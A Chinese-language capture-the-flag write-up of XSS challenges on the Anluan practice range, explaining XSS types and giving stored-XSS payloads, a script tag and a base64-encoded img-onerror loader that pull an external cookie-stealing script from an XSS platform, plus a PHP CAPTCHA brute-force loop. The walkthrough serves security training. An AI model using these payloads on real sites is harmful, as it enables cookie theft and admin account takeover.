安鸾靶场之XSS漏洞实操

当应用程序发送给浏览器的页面中包含用户提交的数据,但没有经过适当验证或转义时,就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性,而不是缺陷。会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害。

XSS类型

1、反射型

出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)

想要窃取cookie要满足两个条件:

1、用户点击攻击者构造的URL
2、访问被攻击的应用服务(即存在xss的网站)

2、存储型

出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全。攻击者将恶意代码存储到服务器上,只要诱使受害者访问被插入恶意代码的页面即可触发。

3、DOM型

DOM 型 XSS是基于文档对象模型(Document Objeet Model,DOM,用于将 Web 页面与脚本语言连接起来的标准编程接口)的一种漏洞,它不经过服务端,而是通过 URL 传入参数去触发,因此也属于反射型 XSS。

安鸾靶场实操

1、存储型XSS

在这里插入图片描述

111</textarea><script>alert("xss")</script>>

按F12查看页面代码,即可看到插入的恶意js代码,没有经过任何处理直接返回了,并且在用户访问此页面时,会自动触发
在这里插入图片描述
在这里插入图片描述
由此,此处留言板存在存储型XSS漏洞。由题可知,管理员每5分钟会上线,并访问此页面清除数据。所以我们可以利用XSS平台获取到管理员的cookie,并登录。

在这里插入图片描述
进入管理员用户页面,即可找到flag

2、交友平台

在这里插入图片描述
当插入代码</textarea><script>alert("xss")</script>时,会触发弹窗,所以此处存在存储型XSS漏洞。

将以下代码提交,使xss平台能获取到管理员的cookie再把此页面的url提交到bug反馈中,此时我们看到,需要验证码,且验证码进行md5加密之后的前六位等于a1c3e9

</textarea><script src=https://xss9.com/217l></script>

在这里插入图片描述
此时我们使用php脚本来撞验证码

<?php
for ($i=1; $i<=99999999; $i++){
	if (substr(md5($i), 0, 6)=="a1c3e9"){
		echo $i.PHP_EOL;
	}
}
?>

结果如下,随便取一个值填入,等待一分钟即可获取到管理员的cookie,登陆管理员账号就可找到cookie
在这里插入图片描述

3、XSS挖掘与绕过

登录进去,给管理员私信,首先我们发送</textarea><script>alert("xss")</script>来验证是否存在XSS漏洞,发现代码被过滤
在这里插入图片描述
在这里插入图片描述
由此我们看出来后端在处理传入的参数时,过滤了script,在sc和rpt之间插入了其他字符,但我们可以使用img标签绕过

</textarea<img src=1 οnerrοr=alert("xss");>

在这里插入图片描述
正常显示弹框
此时我们可以利用img标签来构造

<img src=x οnerrοr=eval(atob('s=createElement('script');body.appendChild(s);s.src='https://xss9.com/217l'+Math.random()'))>

<img src=x οnerrοr=eval(atob('cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwczovL3hzczkuY29tLzIxN2wnK01hdGgucmFuZG9tKCk='))>

将经过编码的恶意代码私信给管理员,等待5分钟即可在xss平台获取到管理员的cookie,就可登陆后台寻找flag